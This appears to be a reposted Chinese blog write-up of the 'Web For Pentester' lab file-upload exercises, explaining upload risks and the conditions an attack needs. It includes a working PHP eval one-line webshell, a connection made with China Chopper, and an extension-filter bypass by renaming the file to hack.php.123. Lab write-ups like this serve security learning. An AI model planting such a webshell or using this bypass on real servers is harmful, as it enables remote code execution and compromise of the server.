Web For Pentester -- File Include

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。

文件上传导致的常见安全问题:

上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;

上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行;

上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈;

完成这个攻击需要的条件:

首先,上传的文件要能被Web容器解释执行,所以文件上传后所在目录要是Web容器所覆盖到的路径;

其次,用户能够从Web上访问这个文件。如果文件上传了,但用户无法通过Web访问,或无法通过Web容器解释这个脚本,那么不能称之为漏洞;

最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,可能导致攻击不成功;

 

Web For Pentester -- File Include

Example 1

上传php文件<?php echo phpinfo();?>输出关于 PHP 配置的信息

点击here即可查看配置信息

找到上传的文件路径,上传一句话木马<?php @eval($_POST['chopper']);?>

打开中国菜刀,连接成功

 

Example 2

上传文件

服务器的对文件的判断

  1. 服务端MIME 类型检测(检测Content-Type 内容)
  2. 服务端目录路径检测(检测跟path 参数相关的内容)、
  3. 服务端文件扩展名检测(检测跟文件extension 相关的内容)
  4. 服务端文件内容检测(检测内容是否合法或含有恶意代码)

BP抓包查看

不能上传php文件,修改后缀,将一句话木马改成hack.php.123(浏览器遇到不能识别的文件名后缀跳过)

上传文件,连接木马即可。

 

猜你喜欢

转载自www.cnblogs.com/wanao/p/10976787.html